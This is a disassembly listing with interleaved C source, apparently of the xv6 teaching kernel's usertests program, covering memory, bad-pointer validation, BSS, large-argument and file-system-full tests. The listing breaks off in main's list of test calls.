427a: 8d 55 9f lea -0x61(%ebp),%edx
427d: 89 54 24 04 mov %edx,0x4(%esp)
4281: 89 04 24 mov %eax,(%esp)
4284: e8 a7 09 00 00 call 4c30 <read>
// failed allocation?
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
4289: 83 45 f0 01 addl $0x1,-0x10(%ebp)
428d: 8b 45 f0 mov -0x10(%ebp),%eax
4290: 83 f8 09 cmp $0x9,%eax
4293: 0f 86 6d ff ff ff jbe 4206 <sbrktest+0x3ad>
if(pids[i] != -1)
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
4299: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
42a0: e8 fb 09 00 00 call 4ca0 <sbrk>
42a5: 89 45 e0 mov %eax,-0x20(%ebp)
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
42a8: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
42af: eb 26 jmp 42d7 <sbrktest+0x47e>
if(pids[i] == -1)
42b1: 8b 45 f0 mov -0x10(%ebp),%eax
42b4: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
42b8: 83 f8 ff cmp $0xffffffff,%eax
42bb: 75 02 jne 42bf <sbrktest+0x466>
continue;
42bd: eb 14 jmp 42d3 <sbrktest+0x47a>
kill(pids[i]);
42bf: 8b 45 f0 mov -0x10(%ebp),%eax
42c2: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
42c6: 89 04 24 mov %eax,(%esp)
42c9: e8 7a 09 00 00 call 4c48 <kill>
wait();
42ce: e8 4d 09 00 00 call 4c20 <wait>
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
42d3: 83 45 f0 01 addl $0x1,-0x10(%ebp)
42d7: 8b 45 f0 mov -0x10(%ebp),%eax
42da: 83 f8 09 cmp $0x9,%eax
42dd: 76 d2 jbe 42b1 <sbrktest+0x458>
if(pids[i] == -1)
continue;
kill(pids[i]);
wait();
}
if(c == (char*)0xffffffff){
42df: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
42e3: 75 1a jne 42ff <sbrktest+0x4a6>
printf(stdout, "failed sbrk leaked memory\n");
42e5: a1 c8 72 00 00 mov 0x72c8,%eax
42ea: c7 44 24 04 62 68 00 movl $0x6862,0x4(%esp)
42f1: 00
42f2: 89 04 24 mov %eax,(%esp)
42f5: e8 c6 0a 00 00 call 4dc0 <printf>
exit();
42fa: e8 19 09 00 00 call 4c18 <exit>
}
if(sbrk(0) > oldbrk)
42ff: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4306: e8 95 09 00 00 call 4ca0 <sbrk>
430b: 3b 45 ec cmp -0x14(%ebp),%eax
430e: 76 1b jbe 432b <sbrktest+0x4d2>
sbrk(-(sbrk(0) - oldbrk));
4310: 8b 5d ec mov -0x14(%ebp),%ebx
4313: c7 04 24 00 00 00 00 movl $0x0,(%esp)
431a: e8 81 09 00 00 call 4ca0 <sbrk>
431f: 29 c3 sub %eax,%ebx
4321: 89 d8 mov %ebx,%eax
4323: 89 04 24 mov %eax,(%esp)
4326: e8 75 09 00 00 call 4ca0 <sbrk>
printf(stdout, "sbrk test OK\n");
432b: a1 c8 72 00 00 mov 0x72c8,%eax
4330: c7 44 24 04 7d 68 00 movl $0x687d,0x4(%esp)
4337: 00
4338: 89 04 24 mov %eax,(%esp)
433b: e8 80 0a 00 00 call 4dc0 <printf>
}
4340: 81 c4 84 00 00 00 add $0x84,%esp
4346: 5b pop %ebx
4347: 5d pop %ebp
4348: c3 ret
00004349 <validateint>:
void
validateint(int *p)
{
4349: 55 push %ebp
434a: 89 e5 mov %esp,%ebp
434c: 53 push %ebx
434d: 83 ec 10 sub $0x10,%esp
int res;
asm("mov %%esp, %%ebx\n\t"
4350: b8 0d 00 00 00 mov $0xd,%eax
4355: 8b 55 08 mov 0x8(%ebp),%edx
4358: 89 d1 mov %edx,%ecx
435a: 89 e3 mov %esp,%ebx
435c: 89 cc mov %ecx,%esp
435e: cd 40 int $0x40
4360: 89 dc mov %ebx,%esp
4362: 89 45 f8 mov %eax,-0x8(%ebp)
"int %2\n\t"
"mov %%ebx, %%esp" :
"=a" (res) :
"a" (SYS_sleep), "n" (T_SYSCALL), "c" (p) :
"ebx");
}
4365: 83 c4 10 add $0x10,%esp
4368: 5b pop %ebx
4369: 5d pop %ebp
436a: c3 ret
0000436b <validatetest>:
void
validatetest(void)
{
436b: 55 push %ebp
436c: 89 e5 mov %esp,%ebp
436e: 83 ec 28 sub $0x28,%esp
int hi, pid;
uint p;
printf(stdout, "validate test\n");
4371: a1 c8 72 00 00 mov 0x72c8,%eax
4376: c7 44 24 04 8b 68 00 movl $0x688b,0x4(%esp)
437d: 00
437e: 89 04 24 mov %eax,(%esp)
4381: e8 3a 0a 00 00 call 4dc0 <printf>
hi = 1100*1024;
4386: c7 45 f0 00 30 11 00 movl $0x113000,-0x10(%ebp)
for(p = 0; p <= (uint)hi; p += 4096){
438d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
4394: eb 7f jmp 4415 <validatetest+0xaa>
if((pid = fork()) == 0){
4396: e8 75 08 00 00 call 4c10 <fork>
439b: 89 45 ec mov %eax,-0x14(%ebp)
439e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
43a2: 75 10 jne 43b4 <validatetest+0x49>
// try to crash the kernel by passing in a badly placed integer
validateint((int*)p);
43a4: 8b 45 f4 mov -0xc(%ebp),%eax
43a7: 89 04 24 mov %eax,(%esp)
43aa: e8 9a ff ff ff call 4349 <validateint>
exit();
43af: e8 64 08 00 00 call 4c18 <exit>
}
sleep(0);
43b4: c7 04 24 00 00 00 00 movl $0x0,(%esp)
43bb: e8 e8 08 00 00 call 4ca8 <sleep>
sleep(0);
43c0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
43c7: e8 dc 08 00 00 call 4ca8 <sleep>
kill(pid);
43cc: 8b 45 ec mov -0x14(%ebp),%eax
43cf: 89 04 24 mov %eax,(%esp)
43d2: e8 71 08 00 00 call 4c48 <kill>
wait();
43d7: e8 44 08 00 00 call 4c20 <wait>
// try to crash the kernel by passing in a bad string pointer
if(link("nosuchfile", (char*)p) != -1){
43dc: 8b 45 f4 mov -0xc(%ebp),%eax
43df: 89 44 24 04 mov %eax,0x4(%esp)
43e3: c7 04 24 9a 68 00 00 movl $0x689a,(%esp)
43ea: e8 89 08 00 00 call 4c78 <link>
43ef: 83 f8 ff cmp $0xffffffff,%eax
43f2: 74 1a je 440e <validatetest+0xa3>
printf(stdout, "link should not succeed\n");
43f4: a1 c8 72 00 00 mov 0x72c8,%eax
43f9: c7 44 24 04 a5 68 00 movl $0x68a5,0x4(%esp)
4400: 00
4401: 89 04 24 mov %eax,(%esp)
4404: e8 b7 09 00 00 call 4dc0 <printf>
exit();
4409: e8 0a 08 00 00 call 4c18 <exit>
uint p;
printf(stdout, "validate test\n");
hi = 1100*1024;
for(p = 0; p <= (uint)hi; p += 4096){
440e: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
4415: 8b 45 f0 mov -0x10(%ebp),%eax
4418: 3b 45 f4 cmp -0xc(%ebp),%eax
441b: 0f 83 75 ff ff ff jae 4396 <validatetest+0x2b>
printf(stdout, "link should not succeed\n");
exit();
}
}
printf(stdout, "validate ok\n");
4421: a1 c8 72 00 00 mov 0x72c8,%eax
4426: c7 44 24 04 be 68 00 movl $0x68be,0x4(%esp)
442d: 00
442e: 89 04 24 mov %eax,(%esp)
4431: e8 8a 09 00 00 call 4dc0 <printf>
}
4436: c9 leave
4437: c3 ret
00004438 <bsstest>:
// does unintialized data start out zero?
char uninit[10000];
void
bsstest(void)
{
4438: 55 push %ebp
4439: 89 e5 mov %esp,%ebp
443b: 83 ec 28 sub $0x28,%esp
int i;
printf(stdout, "bss test\n");
443e: a1 c8 72 00 00 mov 0x72c8,%eax
4443: c7 44 24 04 cb 68 00 movl $0x68cb,0x4(%esp)
444a: 00
444b: 89 04 24 mov %eax,(%esp)
444e: e8 6d 09 00 00 call 4dc0 <printf>
for(i = 0; i < sizeof(uninit); i++){
4453: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
445a: eb 2d jmp 4489 <bsstest+0x51>
if(uninit[i] != '\0'){
445c: 8b 45 f4 mov -0xc(%ebp),%eax
445f: 05 a0 73 00 00 add $0x73a0,%eax
4464: 0f b6 00 movzbl (%eax),%eax
4467: 84 c0 test %al,%al
4469: 74 1a je 4485 <bsstest+0x4d>
printf(stdout, "bss test failed\n");
446b: a1 c8 72 00 00 mov 0x72c8,%eax
4470: c7 44 24 04 d5 68 00 movl $0x68d5,0x4(%esp)
4477: 00
4478: 89 04 24 mov %eax,(%esp)
447b: e8 40 09 00 00 call 4dc0 <printf>
exit();
4480: e8 93 07 00 00 call 4c18 <exit>
bsstest(void)
{
int i;
printf(stdout, "bss test\n");
for(i = 0; i < sizeof(uninit); i++){
4485: 83 45 f4 01 addl $0x1,-0xc(%ebp)
4489: 8b 45 f4 mov -0xc(%ebp),%eax
448c: 3d 0f 27 00 00 cmp $0x270f,%eax
4491: 76 c9 jbe 445c <bsstest+0x24>
if(uninit[i] != '\0'){
printf(stdout, "bss test failed\n");
exit();
}
}
printf(stdout, "bss test ok\n");
4493: a1 c8 72 00 00 mov 0x72c8,%eax
4498: c7 44 24 04 e6 68 00 movl $0x68e6,0x4(%esp)
449f: 00
44a0: 89 04 24 mov %eax,(%esp)
44a3: e8 18 09 00 00 call 4dc0 <printf>
}
44a8: c9 leave
44a9: c3 ret
000044aa <bigargtest>:
// does exec return an error if the arguments
// are larger than a page? or does it write
// below the stack and wreck the instructions/data?
void
bigargtest(void)
{
44aa: 55 push %ebp
44ab: 89 e5 mov %esp,%ebp
44ad: 83 ec 28 sub $0x28,%esp
int pid, fd;
unlink("bigarg-ok");
44b0: c7 04 24 f3 68 00 00 movl $0x68f3,(%esp)
44b7: e8 ac 07 00 00 call 4c68 <unlink>
pid = fork();
44bc: e8 4f 07 00 00 call 4c10 <fork>
44c1: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid == 0){
44c4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
44c8: 0f 85 90 00 00 00 jne 455e <bigargtest+0xb4>
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
44ce: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
44d5: eb 12 jmp 44e9 <bigargtest+0x3f>
args[i] = "bigargs test: failed\n ";
44d7: 8b 45 f4 mov -0xc(%ebp),%eax
44da: c7 04 85 00 73 00 00 movl $0x6900,0x7300(,%eax,4)
44e1: 00 69 00 00
unlink("bigarg-ok");
pid = fork();
if(pid == 0){
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
44e5: 83 45 f4 01 addl $0x1,-0xc(%ebp)
44e9: 83 7d f4 1e cmpl $0x1e,-0xc(%ebp)
44ed: 7e e8 jle 44d7 <bigargtest+0x2d>
args[i] = "bigargs test: failed\n ";
args[MAXARG-1] = 0;
44ef: c7 05 7c 73 00 00 00 movl $0x0,0x737c
44f6: 00 00 00
printf(stdout, "bigarg test\n");
44f9: a1 c8 72 00 00 mov 0x72c8,%eax
44fe: c7 44 24 04 dd 69 00 movl $0x69dd,0x4(%esp)
4505: 00
4506: 89 04 24 mov %eax,(%esp)
4509: e8 b2 08 00 00 call 4dc0 <printf>
exec("echo", args);
450e: c7 44 24 04 00 73 00 movl $0x7300,0x4(%esp)
4515: 00
4516: c7 04 24 04 54 00 00 movl $0x5404,(%esp)
451d: e8 2e 07 00 00 call 4c50 <exec>
printf(stdout, "bigarg test ok\n");
4522: a1 c8 72 00 00 mov 0x72c8,%eax
4527: c7 44 24 04 ea 69 00 movl $0x69ea,0x4(%esp)
452e: 00
452f: 89 04 24 mov %eax,(%esp)
4532: e8 89 08 00 00 call 4dc0 <printf>
fd = open("bigarg-ok", O_CREATE);
4537: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
453e: 00
453f: c7 04 24 f3 68 00 00 movl $0x68f3,(%esp)
4546: e8 0d 07 00 00 call 4c58 <open>
454b: 89 45 ec mov %eax,-0x14(%ebp)
close(fd);
454e: 8b 45 ec mov -0x14(%ebp),%eax
4551: 89 04 24 mov %eax,(%esp)
4554: e8 e7 06 00 00 call 4c40 <close>
exit();
4559: e8 ba 06 00 00 call 4c18 <exit>
} else if(pid < 0){
455e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4562: 79 1a jns 457e <bigargtest+0xd4>
printf(stdout, "bigargtest: fork failed\n");
4564: a1 c8 72 00 00 mov 0x72c8,%eax
4569: c7 44 24 04 fa 69 00 movl $0x69fa,0x4(%esp)
4570: 00
4571: 89 04 24 mov %eax,(%esp)
4574: e8 47 08 00 00 call 4dc0 <printf>
exit();
4579: e8 9a 06 00 00 call 4c18 <exit>
}
wait();
457e: e8 9d 06 00 00 call 4c20 <wait>
fd = open("bigarg-ok", 0);
4583: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
458a: 00
458b: c7 04 24 f3 68 00 00 movl $0x68f3,(%esp)
4592: e8 c1 06 00 00 call 4c58 <open>
4597: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
459a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
459e: 79 1a jns 45ba <bigargtest+0x110>
printf(stdout, "bigarg test failed!\n");
45a0: a1 c8 72 00 00 mov 0x72c8,%eax
45a5: c7 44 24 04 13 6a 00 movl $0x6a13,0x4(%esp)
45ac: 00
45ad: 89 04 24 mov %eax,(%esp)
45b0: e8 0b 08 00 00 call 4dc0 <printf>
exit();
45b5: e8 5e 06 00 00 call 4c18 <exit>
}
close(fd);
45ba: 8b 45 ec mov -0x14(%ebp),%eax
45bd: 89 04 24 mov %eax,(%esp)
45c0: e8 7b 06 00 00 call 4c40 <close>
unlink("bigarg-ok");
45c5: c7 04 24 f3 68 00 00 movl $0x68f3,(%esp)
45cc: e8 97 06 00 00 call 4c68 <unlink>
}
45d1: c9 leave
45d2: c3 ret
000045d3 <fsfull>:
// what happens when the file system runs out of blocks?
// answer: balloc panics, so this test is not useful.
void
fsfull()
{
45d3: 55 push %ebp
45d4: 89 e5 mov %esp,%ebp
45d6: 53 push %ebx
45d7: 83 ec 74 sub $0x74,%esp
int nfiles;
int fsblocks = 0;
45da: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
printf(1, "fsfull test\n");
45e1: c7 44 24 04 28 6a 00 movl $0x6a28,0x4(%esp)
45e8: 00
45e9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
45f0: e8 cb 07 00 00 call 4dc0 <printf>
for(nfiles = 0; ; nfiles++){
45f5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
char name[64];
name[0] = 'f';
45fc: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
4600: 8b 4d f4 mov -0xc(%ebp),%ecx
4603: ba d3 4d 62 10 mov $0x10624dd3,%edx
4608: 89 c8 mov %ecx,%eax
460a: f7 ea imul %edx
460c: c1 fa 06 sar $0x6,%edx
460f: 89 c8 mov %ecx,%eax
4611: c1 f8 1f sar $0x1f,%eax
4614: 29 c2 sub %eax,%edx
4616: 89 d0 mov %edx,%eax
4618: 83 c0 30 add $0x30,%eax
461b: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
461e: 8b 5d f4 mov -0xc(%ebp),%ebx
4621: ba d3 4d 62 10 mov $0x10624dd3,%edx
4626: 89 d8 mov %ebx,%eax
4628: f7 ea imul %edx
462a: c1 fa 06 sar $0x6,%edx
462d: 89 d8 mov %ebx,%eax
462f: c1 f8 1f sar $0x1f,%eax
4632: 89 d1 mov %edx,%ecx
4634: 29 c1 sub %eax,%ecx
4636: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax
463c: 29 c3 sub %eax,%ebx
463e: 89 d9 mov %ebx,%ecx
4640: ba 1f 85 eb 51 mov $0x51eb851f,%edx
4645: 89 c8 mov %ecx,%eax
4647: f7 ea imul %edx
4649: c1 fa 05 sar $0x5,%edx
464c: 89 c8 mov %ecx,%eax
464e: c1 f8 1f sar $0x1f,%eax
4651: 29 c2 sub %eax,%edx
4653: 89 d0 mov %edx,%eax
4655: 83 c0 30 add $0x30,%eax
4658: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
465b: 8b 5d f4 mov -0xc(%ebp),%ebx
465e: ba 1f 85 eb 51 mov $0x51eb851f,%edx
4663: 89 d8 mov %ebx,%eax
4665: f7 ea imul %edx
4667: c1 fa 05 sar $0x5,%edx
466a: 89 d8 mov %ebx,%eax
466c: c1 f8 1f sar $0x1f,%eax
466f: 89 d1 mov %edx,%ecx
4671: 29 c1 sub %eax,%ecx
4673: 6b c1 64 imul $0x64,%ecx,%eax
4676: 29 c3 sub %eax,%ebx
4678: 89 d9 mov %ebx,%ecx
467a: ba 67 66 66 66 mov $0x66666667,%edx
467f: 89 c8 mov %ecx,%eax
4681: f7 ea imul %edx
4683: c1 fa 02 sar $0x2,%edx
4686: 89 c8 mov %ecx,%eax
4688: c1 f8 1f sar $0x1f,%eax
468b: 29 c2 sub %eax,%edx
468d: 89 d0 mov %edx,%eax
468f: 83 c0 30 add $0x30,%eax
4692: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
4695: 8b 4d f4 mov -0xc(%ebp),%ecx
4698: ba 67 66 66 66 mov $0x66666667,%edx
469d: 89 c8 mov %ecx,%eax
469f: f7 ea imul %edx
46a1: c1 fa 02 sar $0x2,%edx
46a4: 89 c8 mov %ecx,%eax
46a6: c1 f8 1f sar $0x1f,%eax
46a9: 29 c2 sub %eax,%edx
46ab: 89 d0 mov %edx,%eax
46ad: c1 e0 02 shl $0x2,%eax
46b0: 01 d0 add %edx,%eax
46b2: 01 c0 add %eax,%eax
46b4: 29 c1 sub %eax,%ecx
46b6: 89 ca mov %ecx,%edx
46b8: 89 d0 mov %edx,%eax
46ba: 83 c0 30 add $0x30,%eax
46bd: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
46c0: c6 45 a9 00 movb $0x0,-0x57(%ebp)
printf(1, "writing %s\n", name);
46c4: 8d 45 a4 lea -0x5c(%ebp),%eax
46c7: 89 44 24 08 mov %eax,0x8(%esp)
46cb: c7 44 24 04 35 6a 00 movl $0x6a35,0x4(%esp)
46d2: 00
46d3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
46da: e8 e1 06 00 00 call 4dc0 <printf>
int fd = open(name, O_CREATE|O_RDWR);
46df: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
46e6: 00
46e7: 8d 45 a4 lea -0x5c(%ebp),%eax
46ea: 89 04 24 mov %eax,(%esp)
46ed: e8 66 05 00 00 call 4c58 <open>
46f2: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
46f5: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
46f9: 79 1d jns 4718 <fsfull+0x145>
printf(1, "open %s failed\n", name);
46fb: 8d 45 a4 lea -0x5c(%ebp),%eax
46fe: 89 44 24 08 mov %eax,0x8(%esp)
4702: c7 44 24 04 41 6a 00 movl $0x6a41,0x4(%esp)
4709: 00
470a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
4711: e8 aa 06 00 00 call 4dc0 <printf>
break;
4716: eb 74 jmp 478c <fsfull+0x1b9>
}
int total = 0;
4718: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while(1){
int cc = write(fd, buf, 512);
471f: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
4726: 00
4727: c7 44 24 04 c0 9a 00 movl $0x9ac0,0x4(%esp)
472e: 00
472f: 8b 45 e8 mov -0x18(%ebp),%eax
4732: 89 04 24 mov %eax,(%esp)
4735: e8 fe 04 00 00 call 4c38 <write>
473a: 89 45 e4 mov %eax,-0x1c(%ebp)
if(cc < 512)
473d: 81 7d e4 ff 01 00 00 cmpl $0x1ff,-0x1c(%ebp)
4744: 7f 2f jg 4775 <fsfull+0x1a2>
break;
4746: 90 nop
total += cc;
fsblocks++;
}
printf(1, "wrote %d bytes\n", total);
4747: 8b 45 ec mov -0x14(%ebp),%eax
474a: 89 44 24 08 mov %eax,0x8(%esp)
474e: c7 44 24 04 51 6a 00 movl $0x6a51,0x4(%esp)
4755: 00
4756: c7 04 24 01 00 00 00 movl $0x1,(%esp)
475d: e8 5e 06 00 00 call 4dc0 <printf>
close(fd);
4762: 8b 45 e8 mov -0x18(%ebp),%eax
4765: 89 04 24 mov %eax,(%esp)
4768: e8 d3 04 00 00 call 4c40 <close>
if(total == 0)
476d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4771: 75 10 jne 4783 <fsfull+0x1b0>
4773: eb 0c jmp 4781 <fsfull+0x1ae>
int total = 0;
while(1){
int cc = write(fd, buf, 512);
if(cc < 512)
break;
total += cc;
4775: 8b 45 e4 mov -0x1c(%ebp),%eax
4778: 01 45 ec add %eax,-0x14(%ebp)
fsblocks++;
477b: 83 45 f0 01 addl $0x1,-0x10(%ebp)
}
477f: eb 9e jmp 471f <fsfull+0x14c>
printf(1, "wrote %d bytes\n", total);
close(fd);
if(total == 0)
break;
4781: eb 09 jmp 478c <fsfull+0x1b9>
int nfiles;
int fsblocks = 0;
printf(1, "fsfull test\n");
for(nfiles = 0; ; nfiles++){
4783: 83 45 f4 01 addl $0x1,-0xc(%ebp)
}
printf(1, "wrote %d bytes\n", total);
close(fd);
if(total == 0)
break;
}
4787: e9 70 fe ff ff jmp 45fc <fsfull+0x29>
while(nfiles >= 0){
478c: e9 d7 00 00 00 jmp 4868 <fsfull+0x295>
char name[64];
name[0] = 'f';
4791: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
4795: 8b 4d f4 mov -0xc(%ebp),%ecx
4798: ba d3 4d 62 10 mov $0x10624dd3,%edx
479d: 89 c8 mov %ecx,%eax
479f: f7 ea imul %edx
47a1: c1 fa 06 sar $0x6,%edx
47a4: 89 c8 mov %ecx,%eax
47a6: c1 f8 1f sar $0x1f,%eax
47a9: 29 c2 sub %eax,%edx
47ab: 89 d0 mov %edx,%eax
47ad: 83 c0 30 add $0x30,%eax
47b0: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
47b3: 8b 5d f4 mov -0xc(%ebp),%ebx
47b6: ba d3 4d 62 10 mov $0x10624dd3,%edx
47bb: 89 d8 mov %ebx,%eax
47bd: f7 ea imul %edx
47bf: c1 fa 06 sar $0x6,%edx
47c2: 89 d8 mov %ebx,%eax
47c4: c1 f8 1f sar $0x1f,%eax
47c7: 89 d1 mov %edx,%ecx
47c9: 29 c1 sub %eax,%ecx
47cb: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax
47d1: 29 c3 sub %eax,%ebx
47d3: 89 d9 mov %ebx,%ecx
47d5: ba 1f 85 eb 51 mov $0x51eb851f,%edx
47da: 89 c8 mov %ecx,%eax
47dc: f7 ea imul %edx
47de: c1 fa 05 sar $0x5,%edx
47e1: 89 c8 mov %ecx,%eax
47e3: c1 f8 1f sar $0x1f,%eax
47e6: 29 c2 sub %eax,%edx
47e8: 89 d0 mov %edx,%eax
47ea: 83 c0 30 add $0x30,%eax
47ed: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
47f0: 8b 5d f4 mov -0xc(%ebp),%ebx
47f3: ba 1f 85 eb 51 mov $0x51eb851f,%edx
47f8: 89 d8 mov %ebx,%eax
47fa: f7 ea imul %edx
47fc: c1 fa 05 sar $0x5,%edx
47ff: 89 d8 mov %ebx,%eax
4801: c1 f8 1f sar $0x1f,%eax
4804: 89 d1 mov %edx,%ecx
4806: 29 c1 sub %eax,%ecx
4808: 6b c1 64 imul $0x64,%ecx,%eax
480b: 29 c3 sub %eax,%ebx
480d: 89 d9 mov %ebx,%ecx
480f: ba 67 66 66 66 mov $0x66666667,%edx
4814: 89 c8 mov %ecx,%eax
4816: f7 ea imul %edx
4818: c1 fa 02 sar $0x2,%edx
481b: 89 c8 mov %ecx,%eax
481d: c1 f8 1f sar $0x1f,%eax
4820: 29 c2 sub %eax,%edx
4822: 89 d0 mov %edx,%eax
4824: 83 c0 30 add $0x30,%eax
4827: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
482a: 8b 4d f4 mov -0xc(%ebp),%ecx
482d: ba 67 66 66 66 mov $0x66666667,%edx
4832: 89 c8 mov %ecx,%eax
4834: f7 ea imul %edx
4836: c1 fa 02 sar $0x2,%edx
4839: 89 c8 mov %ecx,%eax
483b: c1 f8 1f sar $0x1f,%eax
483e: 29 c2 sub %eax,%edx
4840: 89 d0 mov %edx,%eax
4842: c1 e0 02 shl $0x2,%eax
4845: 01 d0 add %edx,%eax
4847: 01 c0 add %eax,%eax
4849: 29 c1 sub %eax,%ecx
484b: 89 ca mov %ecx,%edx
484d: 89 d0 mov %edx,%eax
484f: 83 c0 30 add $0x30,%eax
4852: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
4855: c6 45 a9 00 movb $0x0,-0x57(%ebp)
unlink(name);
4859: 8d 45 a4 lea -0x5c(%ebp),%eax
485c: 89 04 24 mov %eax,(%esp)
485f: e8 04 04 00 00 call 4c68 <unlink>
nfiles--;
4864: 83 6d f4 01 subl $0x1,-0xc(%ebp)
close(fd);
if(total == 0)
break;
}
while(nfiles >= 0){
4868: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
486c: 0f 89 1f ff ff ff jns 4791 <fsfull+0x1be>
name[5] = '\0';
unlink(name);
nfiles--;
}
printf(1, "fsfull test finished\n");
4872: c7 44 24 04 61 6a 00 movl $0x6a61,0x4(%esp)
4879: 00
487a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
4881: e8 3a 05 00 00 call 4dc0 <printf>
}
4886: 83 c4 74 add $0x74,%esp
4889: 5b pop %ebx
488a: 5d pop %ebp
488b: c3 ret
0000488c <rand>:
unsigned long randstate = 1;
unsigned int
rand()
{
488c: 55 push %ebp
488d: 89 e5 mov %esp,%ebp
randstate = randstate * 1664525 + 1013904223;
488f: a1 cc 72 00 00 mov 0x72cc,%eax
4894: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
489a: 05 5f f3 6e 3c add $0x3c6ef35f,%eax
489f: a3 cc 72 00 00 mov %eax,0x72cc
return randstate;
48a4: a1 cc 72 00 00 mov 0x72cc,%eax
}
48a9: 5d pop %ebp
48aa: c3 ret
000048ab <main>:
int
main(int argc, char *argv[])
{
48ab: 55 push %ebp
48ac: 89 e5 mov %esp,%ebp
48ae: 83 e4 f0 and $0xfffffff0,%esp
48b1: 83 ec 10 sub $0x10,%esp
printf(1, "usertests starting\n");
48b4: c7 44 24 04 77 6a 00 movl $0x6a77,0x4(%esp)
48bb: 00
48bc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
48c3: e8 f8 04 00 00 call 4dc0 <printf>
if(open("usertests.ran", 0) >= 0){
48c8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
48cf: 00
48d0: c7 04 24 8b 6a 00 00 movl $0x6a8b,(%esp)
48d7: e8 7c 03 00 00 call 4c58 <open>
48dc: 85 c0 test %eax,%eax
48de: 78 19 js 48f9 <main+0x4e>
printf(1, "already ran user tests -- rebuild fs.img\n");
48e0: c7 44 24 04 9c 6a 00 movl $0x6a9c,0x4(%esp)
48e7: 00
48e8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
48ef: e8 cc 04 00 00 call 4dc0 <printf>
exit();
48f4: e8 1f 03 00 00 call 4c18 <exit>
}
close(open("usertests.ran", O_CREATE));
48f9: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
4900: 00
4901: c7 04 24 8b 6a 00 00 movl $0x6a8b,(%esp)
4908: e8 4b 03 00 00 call 4c58 <open>
490d: 89 04 24 mov %eax,(%esp)
4910: e8 2b 03 00 00 call 4c40 <close>
bigargtest();
4915: e8 90 fb ff ff call 44aa <bigargtest>
bigwrite();
491a: e8 ff ea ff ff call 341e <bigwrite>
bigargtest();
491f: e8 86 fb ff ff call 44aa <bigargtest>
bsstest();
4924: e8 0f fb ff ff call 4438 <bsstest>
sbrktest();
4929: e8 2b f5 ff ff call 3e59 <sbrktest>
validatetest();
492e: e8 38 fa ff ff call 436b <validatetest>
opentest();
4933: e8 c8 c6 ff ff call 1000 <opentest>
writetest();
4938: e8 6e c7 ff ff call 10ab <writetest>
writetest1();
493d: e8 7e c9 ff ff call 12c0 <writetest1>
createtest();
4942: e8 84 cb ff ff call 14cb <createtest>
mem();
4947: e8 24 d1 ff ff call 1a70 <mem>
pipe1();
494c: e8 5b cd ff ff call 16ac <pipe1>
preempt();
4951: e8 43 cf ff ff call 1899 <preempt>
exitwait();
4956: e8 97 d0 ff ff call 19f2 <exitwait>
rmdot();
495b: e8 47 ef ff ff call 38a7 <rmdot>
fourteen();
4960: e8 ec ed ff ff call 3751 <fourteen>
bigfile();
4965: e8 bc eb ff ff call 3526 <bigfile>
subdir();
496a: e8 69 e3 ff ff call 2cd8 <subdir>
concreate();
496f: e8 16 dd ff ff call 268a <concreate>
linkunlink();
4974: e8 c4 e0 ff ff call 2a3d <linkunlink>
linktest();
